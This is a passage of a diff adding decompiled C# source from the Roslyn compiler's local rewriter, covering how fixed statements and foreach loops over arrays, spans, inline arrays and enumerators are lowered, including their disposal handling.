isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + ArrayTypeSymbol obj = (ArrayTypeSymbol)pinnedTemp.Type; + TypeWithAnnotations elementTypeWithAnnotations = obj.ElementTypeWithAnnotations; + BoundExpression rewrittenExpr = factory.AssignmentExpression(factory.Local(pinnedTemp), boundExpression); + BoundExpression left = _factory.MakeNullCheck(factory.Syntax, rewrittenExpr, BinaryOperatorKind.NotEqual); + MethodSymbol symbol; + BoundExpression right = factory.Binary(left: obj.IsSZArray ? factory.ArrayLength(factory.Local(pinnedTemp)) : ((!TryGetWellKnownTypeMember(fixedInitializer.Syntax, (WellKnownMember)3, out symbol)) ? ((BoundExpression)new BoundBadExpression(fixedInitializer.Syntax, LookupResultKind.NotInvocable, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)factory.Local(pinnedTemp)), ErrorTypeSymbol.UnknownResultType)) : ((BoundExpression)factory.Call(factory.Local(pinnedTemp), symbol))), kind: BinaryOperatorKind.IntNotEqual, type: factory.SpecialType((SpecialType)7), right: factory.Literal(0)); + BoundExpression condition = factory.Binary(BinaryOperatorKind.LogicalBoolAnd, factory.SpecialType((SpecialType)7), left, right); + BoundExpression operand = factory.ArrayAccessFirstElement(factory.Local(pinnedTemp)); + BoundExpression replacement = new BoundAddressOfOperator(factory.Syntax, operand, new PointerTypeSymbol(elementTypeWithAnnotations)); + BoundExpression right2 = ApplyConversionIfNotIdentity(fixedInitializer.ElementPointerConversion, fixedInitializer.ElementPointerPlaceholder, replacement); + BoundExpression consequence = factory.AssignmentExpression(factory.Local(localSymbol), right2); + BoundExpression alternative = factory.AssignmentExpression(factory.Local(localSymbol), factory.Null(type)); + BoundStatement rewrittenLocalDeclaration = factory.ExpressionStatement(new BoundConditionalOperator(factory.Syntax, isRef: false, condition, consequence, alternative, null, type, wasTargetTyped: false, type)); + return InstrumentLocalDeclarationIfNecessary(localDecl, localSymbol, rewrittenLocalDeclaration); + } + + public override BoundNode VisitForEachStatement(BoundForEachStatement node) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + if (node.HasErrors) + { + return node; + } + Conversion collectionConversion; + TypeSymbol type = GetUnconvertedCollectionExpression(node, out collectionConversion).Type; + if ((int)type.Kind == 1) + { + if (((ArrayTypeSymbol)type).IsSZArray) + { + return RewriteSingleDimensionalArrayForEachStatement(node); + } + return RewriteMultiDimensionalArrayForEachStatement(node); + } + ForEachEnumeratorInfo enumeratorInfoOpt = node.EnumeratorInfoOpt; + if (enumeratorInfoOpt != null && (int)enumeratorInfoOpt.InlineArraySpanType != 0) + { + return RewriteInlineArrayForEachStatementAsFor(node); + } + if (node.AwaitOpt == null && CanRewriteForEachAsFor(node.Syntax, type, out MethodSymbol indexerGet, out MethodSymbol lengthGet)) + { + return RewriteForEachStatementAsFor(node, indexerGet, lengthGet); + } + return RewriteEnumeratorForEachStatement(node); + } + + private bool CanRewriteForEachAsFor(SyntaxNode forEachSyntax, TypeSymbol nodeExpressionType, [NotNullWhen(true)] out MethodSymbol? indexerGet, [NotNullWhen(true)] out MethodSymbol? lengthGet) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + lengthGet = (indexerGet = null); + TypeSymbol originalDefinition = nodeExpressionType.OriginalDefinition; + if ((int)originalDefinition.SpecialType == 20) + { + lengthGet = UnsafeGetSpecialTypeMethod(forEachSyntax, (SpecialMember)11); + indexerGet = UnsafeGetSpecialTypeMethod(forEachSyntax, (SpecialMember)12); + } + else if ((object)originalDefinition == _compilation.GetWellKnownType((WellKnownType)275)) + { + NamedTypeSymbol newOwner = (NamedTypeSymbol)nodeExpressionType; + lengthGet = (MethodSymbol)(_factory.WellKnownMember((WellKnownMember)401, isOptional: true)?.SymbolAsMember(newOwner)); + indexerGet = (MethodSymbol)(_factory.WellKnownMember((WellKnownMember)400, isOptional: true)?.SymbolAsMember(newOwner)); + } + else if ((object)originalDefinition == _compilation.GetWellKnownType((WellKnownType)276)) + { + NamedTypeSymbol newOwner2 = (NamedTypeSymbol)nodeExpressionType; + lengthGet = (MethodSymbol)(_factory.WellKnownMember((WellKnownMember)407, isOptional: true)?.SymbolAsMember(newOwner2)); + indexerGet = (MethodSymbol)(_factory.WellKnownMember((WellKnownMember)406, isOptional: true)?.SymbolAsMember(newOwner2)); + } + if ((object)lengthGet != null) + { + return (object)indexerGet != null; + } + return false; + } + + private BoundStatement RewriteEnumeratorForEachStatement(BoundForEachStatement node) + { + ForEachEnumeratorInfo enumeratorInfoOpt = node.EnumeratorInfoOpt; + BoundStatement rewrittenBody = VisitStatement(node.Body); + return RewriteForEachEnumerator(node, (BoundConversion)node.Expression, enumeratorInfoOpt, node.ElementPlaceholder, node.ElementConversion, node.IterationVariables, node.DeconstructionOpt, node.AwaitOpt, node.BreakLabel, node.ContinueLabel, rewrittenBody); + } + + private BoundStatement RewriteForEachEnumerator(BoundNode node, BoundConversion convertedCollection, ForEachEnumeratorInfo enumeratorInfo, BoundValuePlaceholder? elementPlaceholder, BoundExpression? elementConversion, ImmutableArray iterationVariables, BoundForEachDeconstructStep? deconstruction, BoundAwaitableInfo? awaitableInfo, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, BoundStatement rewrittenBody) + { + //IL_0180: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)node.Syntax; + bool flag = awaitableInfo != null; + BoundExpression receiver = VisitExpression(convertedCollection.Operand); + MethodArgumentInfo methodArgumentInfo = enumeratorInfo.GetEnumeratorInfo; + TypeSymbol returnType = methodArgumentInfo.Method.ReturnType; + LocalSymbol localSymbol = _factory.SynthesizedLocal(returnType, (SyntaxNode?)(object)cSharpSyntaxNode, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)5); + BoundLocal boundLocal = MakeBoundLocal(cSharpSyntaxNode, localSymbol, returnType); + BoundExpression boundExpression = ConvertReceiverForInvocation(cSharpSyntaxNode, receiver, methodArgumentInfo.Method, convertedCollection.Conversion, enumeratorInfo.CollectionType); + if (methodArgumentInfo.Method.IsExtensionMethod) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(methodArgumentInfo.Arguments.Length); + instance.Add(boundExpression); + instance.AddRange(methodArgumentInfo.Arguments, 1, methodArgumentInfo.Arguments.Length - 1); + methodArgumentInfo = methodArgumentInfo with + { + Arguments = instance.ToImmutableAndFree() + }; + boundExpression = null; + } + BoundExpression rewrittenInitialValue = SynthesizeCall(methodArgumentInfo, cSharpSyntaxNode, boundExpression, flag || methodArgumentInfo.Method.IsExtensionMethod, assertParametersAreOptional: false); + BoundStatement collectionVarDecl = MakeLocalDeclaration(cSharpSyntaxNode, localSymbol, rewrittenInitialValue); + InstrumentForEachStatementCollectionVarDeclaration(node, ref collectionVarDecl); + BoundExpression iterationVarValue = ApplyConversionIfNotIdentity(elementConversion, elementPlaceholder, ApplyConversionIfNotIdentity(enumeratorInfo.CurrentConversion, enumeratorInfo.CurrentPlaceholder, BoundCall.Synthesized((SyntaxNode)(object)cSharpSyntaxNode, boundLocal, (ThreeState)0, enumeratorInfo.CurrentPropertyGetter))); + BoundStatement iterationVarDecl = LocalOrDeconstructionDeclaration(cSharpSyntaxNode, deconstruction, iterationVariables, iterationVarValue); + InstrumentForEachStatementIterationVarDeclaration(node, ref iterationVarDecl); + BoundBlock rewrittenBody2 = CreateBlockDeclaringIterationVariables(iterationVariables, iterationVarDecl, rewrittenBody, (SyntaxNode)(object)cSharpSyntaxNode); + BoundExpression boundExpression2 = SynthesizeCall(enumeratorInfo.MoveNextInfo, cSharpSyntaxNode, boundLocal, flag); + bool hasAsyncDisposal; + BoundBlock disposalFinallyBlock = GetDisposalFinallyBlock(cSharpSyntaxNode, enumeratorInfo, returnType, boundLocal, out hasAsyncDisposal); + if (flag) + { + boundExpression2 = RewriteAwaitExpression(debugInfo: new BoundAwaitExpressionDebugInfo(s_moveNextAsyncAwaitId, (!hasAsyncDisposal) ? ((byte)1) : ((byte)0)), syntax: (SyntaxNode)(object)cSharpSyntaxNode, rewrittenExpression: boundExpression2, awaitableInfo: awaitableInfo, type: awaitableInfo.GetResult.ReturnType, used: true); + } + BoundStatement boundStatement = RewriteWhileStatement(node, boundExpression2, rewrittenBody2, breakLabel, continueLabel, hasErrors: false); + BoundStatement result; + if (disposalFinallyBlock != null) + { + BoundStatement item = new BoundTryStatement((SyntaxNode)(object)cSharpSyntaxNode, new BoundBlock((SyntaxNode)(object)cSharpSyntaxNode, ImmutableArray.Empty, ImmutableArray.Create(boundStatement)), ImmutableArray.Empty, disposalFinallyBlock); + result = new BoundBlock((SyntaxNode)(object)cSharpSyntaxNode, ImmutableArray.Create(localSymbol), ImmutableArray.Create(collectionVarDecl, item)); + } + else + { + result = new BoundBlock((SyntaxNode)(object)cSharpSyntaxNode, ImmutableArray.Create(localSymbol), ImmutableArray.Create(collectionVarDecl, boundStatement)); + } + InstrumentForEachStatement(node, ref result); + return result; + } + + private bool TryGetDisposeMethod(SyntaxNode forEachSyntax, ForEachEnumeratorInfo enumeratorInfo, out MethodSymbol disposeMethod) + { + if (enumeratorInfo.IsAsync) + { + disposeMethod = (MethodSymbol)Binder.GetWellKnownTypeMember(_compilation, (WellKnownMember)426, _diagnostics, null, forEachSyntax); + return (object)disposeMethod != null; + } + return Binder.TryGetSpecialTypeMember(_compilation, (SpecialMember)92, forEachSyntax, _diagnostics, out disposeMethod); + } + + private BoundBlock? GetDisposalFinallyBlock(CSharpSyntaxNode forEachSyntax, ForEachEnumeratorInfo enumeratorInfo, TypeSymbol enumeratorType, BoundLocal boundEnumeratorVar, out bool hasAsyncDisposal) + { + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + hasAsyncDisposal = false; + if (!enumeratorInfo.NeedsDisposal) + { + return null; + } + NamedTypeSymbol namedTypeSymbol = null; + bool flag = false; + MethodSymbol disposeMethod = enumeratorInfo.PatternDisposeInfo?.Method; + if ((object)disposeMethod == null) + { + TryGetDisposeMethod((SyntaxNode)(object)forEachSyntax, enumeratorInfo, out disposeMethod); + if ((object)disposeMethod == null) + { + return null; + } + namedTypeSymbol = disposeMethod.ContainingType; + TypeConversions typeConversions = _factory.CurrentFunction.ContainingAssembly.CorLibrary.TypeConversions; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(); + flag = typeConversions.ClassifyImplicitConversionFromType(enumeratorType, namedTypeSymbol, ref useSiteInfo).IsImplicit; + ((BindingDiagnosticBag)(object)_diagnostics).Add((SyntaxNode)(object)forEachSyntax, useSiteInfo); + } + Binder.ReportDiagnosticsIfObsolete(_diagnostics, disposeMethod, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)forEachSyntax), hasBaseReceiver: false, _factory.CurrentFunction, _factory.CurrentType, enumeratorInfo.Location); + if (flag || (object)enumeratorInfo.PatternDisposeInfo != null) + { + Conversion receiverConversion = (enumeratorType.IsStructType() ? Conversion.Boxing : Conversion.ImplicitReference); + MethodArgumentInfo methodArgumentInfo = enumeratorInfo.PatternDisposeInfo; + BoundExpression expression; + if ((object)methodArgumentInfo == null) + { + methodArgumentInfo = MethodArgumentInfo.CreateParameterlessMethod(disposeMethod); + expression = ConvertReceiverForInvocation(forEachSyntax, boundEnumeratorVar, disposeMethod, receiverConversion, namedTypeSymbol); + } + else + { + expression = boundEnumeratorVar; + } + BoundExpression boundExpression = MakeCallWithNoExplicitArgument(methodArgumentInfo, (SyntaxNode)(object)forEachSyntax, expression); + BoundAwaitableInfo disposeAwaitableInfo = enumeratorInfo.DisposeAwaitableInfo; + BoundStatement boundStatement; + if (disposeAwaitableInfo != null) + { + boundStatement = WrapWithAwait((SyntaxNode)(object)forEachSyntax, boundExpression, disposeAwaitableInfo); + _sawAwaitInExceptionHandler = true; + hasAsyncDisposal = true; + } + else + { + boundStatement = new BoundExpressionStatement((SyntaxNode)(object)forEachSyntax, boundExpression); + } + BoundStatement item; + if (enumeratorType.IsValueType) + { + item = boundStatement; + } + else + { + NamedTypeSymbol type = _factory.SpecialType((SpecialType)1); + item = RewriteIfStatement((SyntaxNode)(object)forEachSyntax, _factory.ObjectNotEqual(_factory.Convert(type, boundEnumeratorVar), _factory.Null(type)), boundStatement, null, hasErrors: false); + } + return new BoundBlock((SyntaxNode)(object)forEachSyntax, ImmutableArray.Empty, ImmutableArray.Create(item)); + } + LocalSymbol localSymbol = _factory.SynthesizedLocal(namedTypeSymbol, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundLocal boundLocal = MakeBoundLocal(forEachSyntax, localSymbol, namedTypeSymbol); + BoundTypeExpression targetType = new BoundTypeExpression((SyntaxNode)(object)forEachSyntax, null, namedTypeSymbol); + BoundExpression rewrittenInitialValue = new BoundAsOperator((SyntaxNode)(object)forEachSyntax, boundEnumeratorVar, targetType, null, null, namedTypeSymbol); + BoundStatement item2 = MakeLocalDeclaration(forEachSyntax, localSymbol, rewrittenInitialValue); + BoundExpression expression2 = BoundCall.Synthesized((SyntaxNode)(object)forEachSyntax, boundLocal, (ThreeState)0, disposeMethod); + BoundStatement rewrittenConsequence = new BoundExpressionStatement((SyntaxNode)(object)forEachSyntax, expression2); + BoundStatement item3 = RewriteIfStatement((SyntaxNode)(object)forEachSyntax, new BoundBinaryOperator((SyntaxNode)(object)forEachSyntax, BinaryOperatorKind.NotEqual, null, null, null, LookupResultKind.Viable, boundLocal, MakeLiteral((SyntaxNode)(object)forEachSyntax, ConstantValue.Null, null), _compilation.GetSpecialType((SpecialType)7)), rewrittenConsequence, null, hasErrors: false); + return new BoundBlock((SyntaxNode)(object)forEachSyntax, ImmutableArray.Create(localSymbol), ImmutableArray.Create(item2, item3)); + } + + private BoundStatement WrapWithAwait(SyntaxNode forEachSyntax, BoundExpression disposeCall, BoundAwaitableInfo disposeAwaitableInfoOpt) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = disposeAwaitableInfoOpt.GetResult?.ReturnType ?? _compilation.DynamicType; + BoundAwaitExpressionDebugInfo debugInfo = new BoundAwaitExpressionDebugInfo(s_disposeAsyncAwaitId, 0); + BoundExpression expression = RewriteAwaitExpression(forEachSyntax, disposeCall, disposeAwaitableInfoOpt, type, debugInfo, used: false); + return new BoundExpressionStatement(forEachSyntax, expression); + } + + private BoundExpression ConvertReceiverForInvocation(CSharpSyntaxNode syntax, BoundExpression receiver, MethodSymbol method, Conversion receiverConversion, TypeSymbol convertedReceiverType) + { + if (receiver.Type.IsReferenceType || !method.ContainingType.IsInterface) + { + receiver = MakeConversionNode((SyntaxNode)(object)syntax, receiver, receiverConversion, convertedReceiverType, @checked: false); + } + return receiver; + } + + private BoundExpression SynthesizeCall(MethodArgumentInfo methodArgumentInfo, CSharpSyntaxNode syntax, BoundExpression? receiver, bool allowExtensionAndOptionalParameters, bool assertParametersAreOptional = true) + { + if (allowExtensionAndOptionalParameters) + { + return MakeCallWithNoExplicitArgument(methodArgumentInfo, (SyntaxNode)(object)syntax, receiver, assertParametersAreOptional); + } + return BoundCall.Synthesized((SyntaxNode)(object)syntax, receiver, (ThreeState)0, methodArgumentInfo.Method, ImmutableArray.Empty); + } + + private BoundStatement RewriteForEachStatementAsFor(BoundForEachStatement node, GetForEachStatementAsForPreamble? getPreamble, GetForEachStatementAsForItem getItem, GetForEachStatementAsForLength getLength, TArg arg) + { + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + CommonForEachStatementSyntax commonForEachStatementSyntax = (CommonForEachStatementSyntax)(object)node.Syntax; + Conversion collectionConversion; + BoundExpression unconvertedCollectionExpression = GetUnconvertedCollectionExpression(node, out collectionConversion); + NamedTypeSymbol type = (NamedTypeSymbol)unconvertedCollectionExpression.Type; + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)13); + TypeSymbol specialType2 = _compilation.GetSpecialType((SpecialType)7); + BoundExpression rewrittenExpression = VisitExpression(unconvertedCollectionExpression); + BoundStatement rewrittenBody = VisitStatement(node.Body); + LocalSymbol preambleLocal = null; + RefKind collectionTempRefKind = (RefKind)0; + BoundStatement boundStatement = getPreamble?.Invoke(this, node, ref rewrittenExpression, out preambleLocal, out collectionTempRefKind); + LocalSymbol localSymbol = _factory.SynthesizedLocal(type, (SyntaxNode?)(object)commonForEachStatementSyntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, collectionTempRefKind, (SynthesizedLocalKind)6); + BoundStatement collectionVarDecl = MakeLocalDeclaration(commonForEachStatementSyntax, localSymbol, rewrittenExpression); + if (boundStatement != null) + { + collectionVarDecl = new BoundStatementList(collectionVarDecl.Syntax, ImmutableArray.Create(boundStatement, collectionVarDecl)).MakeCompilerGenerated(); + } + InstrumentForEachStatementCollectionVarDeclaration(node, ref collectionVarDecl); + BoundLocal boundArrayVar = MakeBoundLocal(commonForEachStatementSyntax, localSymbol, type); + LocalSymbol localSymbol2 = _factory.SynthesizedLocal(specialType, (SyntaxNode?)(object)commonForEachStatementSyntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)8); + BoundLocal boundLocal = MakeBoundLocal(commonForEachStatementSyntax, localSymbol2, specialType); + BoundStatement item = MakeLocalDeclaration(commonForEachStatementSyntax, localSymbol2, MakeLiteral((SyntaxNode)(object)commonForEachStatementSyntax, ConstantValue.Default((SpecialType)13), specialType)); + BoundExpression iterationVarValue = ApplyConversionIfNotIdentity(node.ElementConversion, node.ElementPlaceholder, getItem(this, node, boundArrayVar, boundLocal, arg)); + ImmutableArray iterationVariables = node.IterationVariables; + BoundStatement iterationVarDecl = LocalOrDeconstructionDeclaration(commonForEachStatementSyntax, node.DeconstructionOpt, iterationVariables, iterationVarValue); + InstrumentForEachStatementIterationVarDeclaration(node, ref iterationVarDecl); + BoundStatement rewrittenInitializer = new BoundStatementList((SyntaxNode)(object)commonForEachStatementSyntax, ImmutableArray.Create(collectionVarDecl, item)); + BoundExpression right = getLength(this, node, boundArrayVar, arg); + BoundExpression rewrittenCondition = new BoundBinaryOperator((SyntaxNode)(object)commonForEachStatementSyntax, BinaryOperatorKind.IntLessThan, null, null, null, LookupResultKind.Viable, boundLocal, right, specialType2); + BoundStatement rewrittenIncrement = MakePositionIncrement(commonForEachStatementSyntax, boundLocal, specialType); + BoundStatement rewrittenBody2 = CreateBlockDeclaringIterationVariables(iterationVariables, iterationVarDecl, rewrittenBody, (SyntaxNode)(object)commonForEachStatementSyntax); + BoundStatement result = RewriteForStatementWithoutInnerLocals(node, ((object)preambleLocal == null) ? ImmutableArray.Create(localSymbol, localSymbol2) : ImmutableArray.Create(preambleLocal, localSymbol, localSymbol2), rewrittenInitializer, rewrittenCondition, rewrittenIncrement, rewrittenBody2, node.BreakLabel, node.ContinueLabel, node.HasErrors); + InstrumentForEachStatement(node, ref result); + return result; + } + + private BoundStatement RewriteForEachStatementAsFor(BoundForEachStatement node, MethodSymbol indexerGet, MethodSymbol lengthGet) + { + return RewriteForEachStatementAsFor(node, null, (LocalRewriter rewriter, BoundForEachStatement boundForEachStatement, BoundLocal boundArrayVar, BoundLocal boundPositionVar, (MethodSymbol indexerGet, MethodSymbol lengthGet) arg) => BoundCall.Synthesized(boundForEachStatement.Syntax, boundArrayVar, (ThreeState)0, arg.indexerGet, boundPositionVar), (LocalRewriter rewriter, BoundForEachStatement boundForEachStatement, BoundLocal boundArrayVar, (MethodSymbol indexerGet, MethodSymbol lengthGet) arg) => BoundCall.Synthesized(boundForEachStatement.Syntax, boundArrayVar, (ThreeState)0, arg.lengthGet), (indexerGet, lengthGet)); + } + + private BoundStatement RewriteInlineArrayForEachStatementAsFor(BoundForEachStatement node) + { + return RewriteForEachStatementAsFor(node, delegate(LocalRewriter rewriter, BoundForEachStatement boundForEachStatement, ref BoundExpression rewrittenExpression, out LocalSymbol? preambleLocal, out RefKind collectionTempRefKind) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Invalid comparison between Unknown and I4 + ForEachEnumeratorInfo enumeratorInfoOpt = boundForEachStatement.EnumeratorInfoOpt; + BoundStatement result = null; + preambleLocal = null; + if (enumeratorInfoOpt.InlineArrayUsedAsValue) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = (BoundLocal)(rewrittenExpression = rewriter._factory.StoreToTemp(rewrittenExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2))); + result = rewriter._factory.ExpressionStatement(store); + preambleLocal = boundLocal.LocalSymbol; + } + collectionTempRefKind = (RefKind)(((int)enumeratorInfoOpt.InlineArraySpanType == 275) ? 1 : 5); + return result; + }, delegate(LocalRewriter rewriter, BoundForEachStatement boundForEachStatement, BoundLocal boundArrayVar, BoundLocal boundPositionVar, object? _) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + ForEachEnumeratorInfo? enumeratorInfoOpt = boundForEachStatement.EnumeratorInfoOpt; + NamedTypeSymbol intType = rewriter._factory.SpecialType((SpecialType)13); + MethodSymbol methodSymbol = (((int)enumeratorInfoOpt.InlineArraySpanType != 275) ? rewriter._factory.ModuleBuilderOpt.EnsureInlineArrayElementRefReadOnlyExists(boundForEachStatement.Syntax, intType, ((BindingDiagnosticBag)rewriter._diagnostics).DiagnosticBag) : rewriter._factory.ModuleBuilderOpt.EnsureInlineArrayElementRefExists(boundForEachStatement.Syntax, intType, ((BindingDiagnosticBag)rewriter._diagnostics).DiagnosticBag)); + TypeSymbol type = boundArrayVar.Type; + methodSymbol = methodSymbol.Construct(type, type.TryGetInlineArrayElementField().Type); + return rewriter._factory.Call(null, methodSymbol, boundArrayVar, boundPositionVar, useStrictArgumentRefKinds: true); + }, delegate(LocalRewriter rewriter, BoundForEachStatement boundForEachStatement, BoundLocal boundArrayVar, object? _) + { + _ = boundArrayVar.Type.HasInlineArrayAttribute(out var length); + return rewriter._factory.Literal(length); + }, null); + } + + private BoundStatement LocalOrDeconstructionDeclaration(CSharpSyntaxNode syntax, BoundForEachDeconstructStep? deconstruction, ImmutableArray iterationVariables, BoundExpression iterationVarValue) + { + BoundStatement result; + if (deconstruction == null) + { + result = MakeLocalDeclaration(syntax, iterationVariables[0], iterationVarValue); + } + else + { + BoundDeconstructionAssignmentOperator deconstructionAssignment = deconstruction.DeconstructionAssignment; + AddPlaceholderReplacement(deconstruction.TargetPlaceholder, iterationVarValue); + BoundExpression expression = VisitExpression(deconstructionAssignment); + result = new BoundExpressionStatement(deconstructionAssignment.Syntax, expression); + RemovePlaceholderReplacement(deconstruction.TargetPlaceholder); + } + return result; + } + + private static BoundBlock CreateBlockDeclaringIterationVariables(ImmutableArray iterationVariables, BoundStatement iteratorVariableInitialization, BoundStatement rewrittenBody, SyntaxNode forEachSyntax) + { + return new BoundBlock(forEachSyntax, iterationVariables, ImmutableArray.Create(iteratorVariableInitialization, rewrittenBody)); + } + + private BoundStatement RewriteSingleDimensionalArrayForEachStatement(BoundForEachStatement node) + { + Conversion collectionConversion; + BoundExpression unconvertedCollectionExpression = GetUnconvertedCollectionExpression(node, out collectionConversion); + BoundStatement rewrittenBody = VisitStatement(node.Body); + return RewriteSingleDimensionalArrayForEachEnumerator(node, unconvertedCollectionExpression, node.ElementPlaceholder, node.ElementConversion, node.IterationVariables, node.DeconstructionOpt, node.BreakLabel, node.ContinueLabel, rewrittenBody); + } + + private BoundStatement RewriteSingleDimensionalArrayForEachEnumerator(BoundNode node, BoundExpression collectionExpression, BoundValuePlaceholder? elementPlaceholder, BoundExpression? elementConversion, ImmutableArray iterationVariables, BoundForEachDeconstructStep? deconstruction, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, BoundStatement rewrittenBody) + { + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)node.Syntax; + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)collectionExpression.Type; + BoundExpression rewrittenInitialValue = VisitExpression(collectionExpression); + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)13); + TypeSymbol specialType2 = _compilation.GetSpecialType((SpecialType)7); + LocalSymbol localSymbol = _factory.SynthesizedLocal(arrayTypeSymbol, (SyntaxNode?)(object)cSharpSyntaxNode, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)6); + BoundStatement collectionVarDecl = MakeLocalDeclaration(cSharpSyntaxNode, localSymbol, rewrittenInitialValue); + InstrumentForEachStatementCollectionVarDeclaration(node, ref collectionVarDecl); + BoundLocal expression = MakeBoundLocal(cSharpSyntaxNode, localSymbol, arrayTypeSymbol); + LocalSymbol localSymbol2 = _factory.SynthesizedLocal(specialType, (SyntaxNode?)(object)cSharpSyntaxNode, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)8); + BoundLocal boundLocal = MakeBoundLocal(cSharpSyntaxNode, localSymbol2, specialType); + BoundStatement item = MakeLocalDeclaration(cSharpSyntaxNode, localSymbol2, MakeLiteral((SyntaxNode)(object)cSharpSyntaxNode, ConstantValue.Default((SpecialType)13), specialType)); + BoundExpression iterationVarValue = ApplyConversionIfNotIdentity(elementConversion, elementPlaceholder, new BoundArrayAccess((SyntaxNode)(object)cSharpSyntaxNode, expression, ImmutableArray.Create((BoundExpression)boundLocal), arrayTypeSymbol.ElementType)); + BoundStatement iterationVarDecl = LocalOrDeconstructionDeclaration(cSharpSyntaxNode, deconstruction, iterationVariables, iterationVarValue); + InstrumentForEachStatementIterationVarDeclaration(node, ref iterationVarDecl); + BoundStatement rewrittenInitializer = new BoundStatementList((SyntaxNode)(object)cSharpSyntaxNode, ImmutableArray.Create(collectionVarDecl, item)); + BoundExpression right = new BoundArrayLength((SyntaxNode)(object)cSharpSyntaxNode, expression, specialType); + BoundExpression rewrittenCondition = new BoundBinaryOperator((SyntaxNode)(object)cSharpSyntaxNode, BinaryOperatorKind.IntLessThan, null, null, null, LookupResultKind.Viable, boundLocal, right, specialType2); + BoundStatement rewrittenIncrement = MakePositionIncrement(cSharpSyntaxNode, boundLocal, specialType); + BoundStatement rewrittenBody2 = CreateBlockDeclaringIterationVariables(iterationVariables, iterationVarDecl, rewrittenBody, (SyntaxNode)(object)cSharpSyntaxNode); + BoundStatement result = RewriteForStatementWithoutInnerLocals(node, ImmutableArray.Create(localSymbol, localSymbol2), rewrittenInitializer, rewrittenCondition, rewrittenIncrement, rewrittenBody2, breakLabel, continueLabel, node.HasErrors); + InstrumentForEachStatement(node, ref result); + return result; + } + + private BoundStatement RewriteMultiDimensionalArrayForEachStatement(BoundForEachStatement node) + { + Conversion collectionConversion; + BoundExpression unconvertedCollectionExpression = GetUnconvertedCollectionExpression(node, out collectionConversion); + BoundStatement rewrittenBody = VisitStatement(node.Body); + return RewriteMultiDimensionalArrayForEachEnumerator(node, unconvertedCollectionExpression, node.ElementPlaceholder, node.ElementConversion, node.IterationVariables, node.DeconstructionOpt, node.BreakLabel, node.ContinueLabel, rewrittenBody); + } + + private BoundStatement RewriteMultiDimensionalArrayForEachEnumerator(BoundNode node, BoundExpression collectionExpression, BoundValuePlaceholder? elementPlaceholder, BoundExpression? elementConversion, ImmutableArray iterationVariables, BoundForEachDeconstructStep? deconstruction, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, BoundStatement rewrittenBody) + { + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)node.Syntax; + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)collectionExpression.Type; + int rank = arrayTypeSymbol.Rank; + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)13); + TypeSymbol specialType2 = _compilation.GetSpecialType((SpecialType)7); + MethodSymbol method = UnsafeGetSpecialTypeMethod((SyntaxNode)(object)cSharpSyntaxNode, (SpecialMember)95); + MethodSymbol method2 = UnsafeGetSpecialTypeMethod((SyntaxNode)(object)cSharpSyntaxNode, (SpecialMember)96); + BoundExpression rewrittenInitialValue = VisitExpression(collectionExpression); + LocalSymbol localSymbol = _factory.SynthesizedLocal(arrayTypeSymbol, (SyntaxNode?)(object)cSharpSyntaxNode, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)6); + BoundLocal boundLocal = MakeBoundLocal(cSharpSyntaxNode, localSymbol, arrayTypeSymbol); + BoundStatement collectionVarDecl = MakeLocalDeclaration(cSharpSyntaxNode, localSymbol, rewrittenInitialValue); + InstrumentForEachStatementCollectionVarDeclaration(node, ref collectionVarDecl); + LocalSymbol[] array = new LocalSymbol[rank]; + BoundLocal[] array2 = new BoundLocal[rank]; + BoundStatement[] array3 = new BoundStatement[rank]; + for (int i = 0; i < rank; i++) + { + array[i] = _factory.SynthesizedLocal(specialType, (SyntaxNode?)(object)cSharpSyntaxNode, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)7); + array2[i] = MakeBoundLocal(cSharpSyntaxNode, array[i], specialType); + ImmutableArray arguments = ImmutableArray.Create(MakeLiteral((SyntaxNode)(object)cSharpSyntaxNode, ConstantValue.Create((object)i, (ConstantValueTypeDiscriminator)6), specialType)); + BoundExpression rewrittenInitialValue2 = BoundCall.Synthesized((SyntaxNode)(object)cSharpSyntaxNode, boundLocal, (ThreeState)0, 